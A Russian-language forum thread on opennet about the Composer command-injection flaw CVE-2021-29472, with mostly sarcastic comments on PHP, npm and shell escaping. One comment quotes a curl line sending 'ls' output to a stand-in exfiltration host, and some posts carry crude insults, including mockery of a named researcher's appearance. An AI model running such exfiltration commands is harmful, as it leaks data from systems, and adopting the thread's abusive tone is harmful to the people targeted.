URL: https://www.opennet.dev/cgi-bin/openforum/vsluhboard.cgi
Форум: vsluhforumID3
Нить номер: 124122
[ Назад ]
Исходное сообщение
"Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist"
Отправлено opennews , 03-Май-21 09:24 
В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13...

Подробнее: https://www.opennet.dev/opennews/art.shtml?num=55065

Содержание
Сообщения в этом обсуждении
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 09:24 
Это не баг, это фича.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 09:25 
(СtI/CtD = continous trojan integration / continuous trojan deployment)
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 09:43 
> ежемесячно обслуживающий более 1.4 миллиарда загрузок

Кто все эти люди? Индусы и китайцы? И это какой-то реально полезный софт?

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 09:52 
В основном это автоматические деплоеры, которым абсолютно пофиг, сколько там троянов внутри.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Анто769ним , 03-Май-21 10:17 
А деплоят они на локалхост, ага
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:17 
Куча биллингов написано на php, у меня на работе, у мужа на прошлой работе, на новой crm. Все они используют композер.
Все используют композер если программируют на php, это тоже самое что maven для java.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 13:47 
"Все используют" - слишком распространённое заблуждение.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 09:44 
Картина Репина: похапешники и безопасность
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 09:53 
Я бы сказал, девляпсы и безопасность.
Композер долго держался молодцом сравнительно со всякими npm.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено пох. , 03-Май-21 10:50 
При комм....pear такого не было.

Потому что было как-то немодно тянуть в рот любую какашку с шитхаба. Но для обезьянок это было слишком сложно и замороченно.

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 11:18 
Ну щито поделать-то? Обезьянья культурка "поколения гитхаба" стала самоподдерживающейся.
При ней главное СоС нарисовать и перед всякими ущербными жирофемками и "до чего дошел прогресс - у Коляна ПМС" не отсвечивать. А вот на код и на проверку либ времени не остается. Вот и пихают в проекты все что не попадя, наудачу надеясь, что экзерсис VasyanKolyanLGBT666 будет хоть немного рабочим.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено имя_ , 03-Май-21 12:10 
при пир такого не было, только потому что сам пир был полухдохлый
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Lex , 03-Май-21 12:56 
Так и с npm'ом все в порядке..
Для понимания разницы, уязвимость нашли не в конечном пакете которых горы, а в самом пакетном менеджере [для пыха]
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 22:37 
C npm было ещё хуже, в нём package-manager-agnostic дырень проявилась.
Которая задела не только npm, а все недопакетные недоменеджеры по касательной.
Потому что сама платформа изначально делана кривыми ногами.

CVE-2019-16776
CVE-2019-16777

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:32 
Сделай лучше, фуле!
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено user90 , 03-Май-21 09:59 
PornDriver
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 11:13 
PornHubDriver
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 10:35 
Драйверы. На пхп.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 10:58 
Дело не в PHP Такой же баг был бы на любом языке. Дело в подходе вызывать зависимости через командную строку. Это всегда дыряво. Нельзя гарантированно заэкранировать всё. С SQL это поняли и перестали пытаться экранировать. В мире linux где всё состоит из отдельных консольных программ, которые вызывают друг друга через командную строку это распространённая практика, от которой ещё долго будут отвыкать. Так что увы. Подобные баги будут повторяться.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:11 
Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:27 
Просто нужно чтобы программы писали анонимные эксперты с opennet, а не каким-то вебмакакам. Анонимные эксперты на то и эксперты что у них руки не из задницы ростут.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 12:34 
Ну мааам
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 12:41 
Да не вопрос, чувак. У тебя есть деньги на то, чтобы писали именно анонимные эксперты с опеннета? Со всеми проверками, тестированием, без постоянных сроков "надо было еще вчера" и без очешуительных правок в самый последний момент? Что такое, что мордочку-то скривил?
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 05-Май-21 08:36 
За деньги я и сама могу.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 05-Май-21 09:18 
То есть вы предлагаете оплатить исправление уже исправленой уязвимости, оплатить неизвестно кому, кто с 99.9% вероятностью ничего сложного на php не писал, при этом с бесконечными сроками?

И вообще, сколько комитов вы уже сделали в composer? Покажите их.

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 06-Май-21 14:38 
> Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
> Кудох-тох-тох, эти анонимные эксперты с опеннета

Ты так и не понял, к чему это было написано, горе-разраб...

> И вообще, сколько комитов вы уже сделали в composer? Покажите их.

Разраб композера, залогинься. Все равно у меня длиннее - не в коммитах, а в нормальных сантиметрах.

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 07-Май-21 09:29 
Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми собрался меняться.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 07-Май-21 21:27 
> Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми
> собрался меняться.

Надо понимать, что ты не оставляешь надежды померяться коммитами?

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Онаним , 03-Май-21 13:49 
Анонимные эксперты их собственно и пишут, просто в такие вот сводки обычно не попадают, потому что и область собственно распространения поуже "широкой макакопублики", и маразмов поменьше.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 11:12 
Альтернативы?
- Монолитный блоатварь, где все эти утилиты слеплены воедино? И страдать, если встроенный в код аналог grep'а нельзя заменить на ZZZgrep, умеющий фичу YYY, облегчающий в сценарии XXX работу, убирая много строк потенциально опасного шеллкода?
- RPC, который ломается точно так же?
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:38 
Не вчитывался подробно и не знаю особенностей php, но насколько я понимаю нечто подобное этому
https://github.com/libgit2/php-git решило бы проблему.
php-git2 is a PHP bindings to the libgit2 linkable C Git library.


"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 10:54 
>> Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.
>> Ошибка присутствует в коде с ноября 2011 года.

Прям с 2011 года весь аудит просмотрели?

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:09 
Грепнули логи, делов то
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Анонин , 03-Май-21 10:59 
Неуязвимых не бывает.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:00 
>> В менеджере зависимостей Composer выявлена критическая уязвимость, позволяющая выполнить произвольные команды в системе при обработке

пакета

npm postinstall:  Уязвимость? о_О Фух, показалось...

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:07 
Даже например deb пакеты такое умеют.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:03 
Чето в голос.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 11:07 
Никогда такого не было и вот опять...
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:16 
все эти composer, pip, npm для идиотов которые не знают что такое git submodules
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:28 
лучше покажи мне дурачка который будет использовать git submodules вместо pip, таких даже среди клинических больных поискать придётся
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 11:44 
Любой вменяемый даже если и использует всю эту дрянь, то только чтобы скачать и тут же закрепить в submodules
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено anonymous , 03-Май-21 14:45 
Возможно вам понравится Go. Ибо он тупо переиспользует git для удалённых зависимостей.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено hshhhhh , 03-Май-21 12:23 
Все эти менеджеры зависимостей в линуксе для тех кто не осилил wget
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено YetAnotherOnanym , 03-Май-21 12:38 
И не осилил собственную графовую БД для зависимостей. Слабаки!
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено пох. , 03-Май-21 12:42 
Лошье! Только бумага и карандаш! Никаких БД!
Все зависимости должны быть отрисованы вручную и подписаны экспертом!

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 15:20 
Нужно создать единое министерство зависимостей. И ввести ответственность за выдачу заведомо ложных зависимостей.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено макпыф , 03-Май-21 17:50 
я предпочитаю хранить все в голове
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено hshhhhh , 03-Май-21 21:10 
всё ещё на слакваре?
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено макпыф , 03-Май-21 21:13 
> всё ещё на слакваре?

lfs

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено пох. , 04-Май-21 20:21 
А что, готишно... Свиток с графом зависимостей, аккуратно свешивающийся из стоящего на полке черепа... товарищмайор, возможно, не совсем одобряют охоту за головами, но, с другой стороны, много ведь и не надо. А этим, из "Сети", пару голов ведь простили и отпустили... это ж не грибы на погибель мировому империализму растить, а просто пара подвернувшихся под руку неудачников...

Я бы штук семь, пожалуй, собрал, для красивого числа.

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено YetAnotherOnanym , 03-Май-21 11:59 
> curl http://exfiltration-host.tld --data “$(ls -alh)

Ыыыы... какая прелесть!
> в тот же день проблема была исправлена

Одного меня настораживает такая скорость?

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 15:30 
> Одного меня настораживает такая скорость?

Да.

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Анин , 03-Май-21 14:16 
Ребята из Миннесоты лютуют
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Dzen Python , 03-Май-21 16:16 
Врешь. Это все Петров aka "Lovely_Bear" и Боширов aka "M$pwnER".
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 16:23 
>Ребята из Миннесоты лютуют

... Шапитофф и Литрофф ?

"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 03-Май-21 16:50 
Адитья Пакки вы только посмотрите на его честное, цветное, трансгендерное лицо https://adityapakki.github.io/ разве мог быть у него какой-то умысел? Он просто код писать не умеет просто он только на джаваскриат умел до коммита в ядро.
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Анин , 03-Май-21 20:37 
Петров переборщил с автозагаром
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Анин , 03-Май-21 20:36 
Они же Попа и Табаров они же...
"Уязвимость в пакетном менеджере Composer, допускающая компро..."
Отправлено Аноним , 10-Май-21 21:34 
>которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки.

Уж сколько раз твердили миру:

юзайте API || RPC || передавайте аргументы через конфиг-файл/трубу || реализуйте, еслине реализовано || GTFO.

Но there is a sucker born every minute, желающие и ведущиеся на лёгкие пути не мамонты и не вымрут никогда.